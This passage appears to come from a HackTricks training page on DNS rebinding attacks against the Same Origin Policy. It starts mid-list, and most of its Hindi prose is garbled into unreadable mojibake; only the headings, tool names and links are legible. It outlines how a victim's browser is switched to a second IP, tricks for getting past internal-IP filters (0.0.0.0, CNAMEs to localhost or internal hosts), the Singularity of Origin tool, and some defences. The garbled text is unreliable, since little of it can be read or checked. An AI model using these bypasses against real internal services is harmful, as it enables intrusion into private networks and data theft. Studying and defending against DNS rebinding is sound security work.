  5. рдкреАрдбрд╝рд┐рдд рдХрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░, рдпрд╣ realizing рдХрд┐ рдбреЛрдореЗрди рдЕрдиреБрддреНрддрд░рджрд╛рдпреА рд╣реИ, рджреВрд╕рд░реЗ рджрд┐рдП рдЧрдП IP рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝рддрд╛ рд╣реИред
  6. рджреВрд╕рд░реЗ IP рдкрддреЗ рддрдХ рдкрд╣реБрдБрдЪрдХрд░, рдмреНрд░рд╛рдЙрдЬрд╝рд░ Same Origin Policy (SOP) рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рдиреЗ рдФрд░ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

рдпрд╣ рддрдХрдиреАрдХ рдЙрди рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ рдЬрдм рдПрдХ рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдХрдИ IP рдкрддреЗ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд░рдгрдиреАрддрд┐рдХ рд░реВрдк рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ IP рдкрддреЗ рдХреЗ рдЪрдпрди рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ SOP рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдкреАрдбрд╝рд┐рдд рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

{% hint style="warning" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ Windows рдореЗрдВ 127.0.0.1 рдФрд░ Linux рдореЗрдВ 0.0.0.0 рдХреЛ рд░реАрдмрд╛рдЗрдВрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдЬреИрд╕реЗ godaddy рдпрд╛ cloudflare рдЬреИрд╕реЗ рдкреНрд░рджрд╛рддрд╛рдУрдВ рдиреЗ рдореБрдЭреЗ IP 0.0.0.0 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА, рд▓реЗрдХрд┐рди AWS route53 рдиреЗ рдореБрдЭреЗ 2 IPs рдХреЗ рд╕рд╛рде рдПрдХ A рд░рд┐рдХреЙрд░реНрдб рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА, рдЬрд┐рдирдореЗрдВ рд╕реЗ рдПрдХ "0.0.0.0" рд╣реИред

{% endhint %}

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЖрдк https://unit42.paloaltonetworks.com/dns-rebinding/ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред

Other Common Bypasses

  • рдпрджрд┐ рдЖрдВрддрд░рд┐рдХ IPs рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рд╡реЗ 0.0.0.0 рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдирд╛ рднреВрд▓ рд╕рдХрддреЗ рд╣реИрдВ (Linux рдФрд░ Mac рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ)
  • рдпрджрд┐ рдЖрдВрддрд░рд┐рдХ IPs рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ localhost рдХреЗ рд▓рд┐рдП рдПрдХ CNAME рдХреЗ рд╕рд╛рде рдЙрддреНрддрд░ рджреЗрдВ (Linux рдФрд░ Mac рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ)
  • рдпрджрд┐ рдЖрдВрддрд░рд┐рдХ IPs рдХреЛ DNS рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдЖрдВрддрд░рд┐рдХ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП CNAMEs рдХреЗ рд╕рд╛рде рдЙрддреНрддрд░ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ www.corporate.internalред

DNS Rebidding Weaponized

рдЖрдк рдкрд┐рдЫрд▓реЗ рдмрд╛рдпрдкрд╛рд╕ рддрдХрдиреАрдХреЛрдВ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

Singularity of Origin рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ DNS рд░реАрдмрд╛рдЗрдВрдбрд┐рдВрдЧ рд╣рдорд▓реЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред рдЗрд╕рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рд╕рд░реНрд╡рд░ DNS рдирд╛рдо рдХреЗ IP рдкрддреЗ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдорд╢реАрди рдХреЗ IP рдкрддреЗ рдкрд░ рд░реАрдмрд╛рдЗрдВрдб рдХрд░рдиреЗ рдФрд░ рд▓рдХреНрд╖рд┐рдд рдорд╢реАрди рдкрд░ рдХрдордЬреЛрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рдкреЗрд▓реЛрдб рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдШрдЯрдХ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

Real Protection against DNS Rebinding

  • рдЖрдВрддрд░рд┐рдХ рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ TLS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
  • рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ
  • Host рд╣реЗрдбрд░ рдХреЛ рдорд╛рдиреНрдп рдХрд░реЗрдВ
  • https://wicg.github.io/private-network-access/: рдкреНрд░рд╕реНрддрд╛рд╡ рдЬрдм рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╕рд░реНрд╡рд░ рдЖрдВрддрд░рд┐рдХ рд╕рд░реНрд╡рд░реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рд╣рдореЗрд╢рд╛ рдПрдХ рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП

Tools

CORS рдиреАрддрд┐рдпреЛрдВ рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдлрдЬрд╝ рдХрд░реЗрдВ

References

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}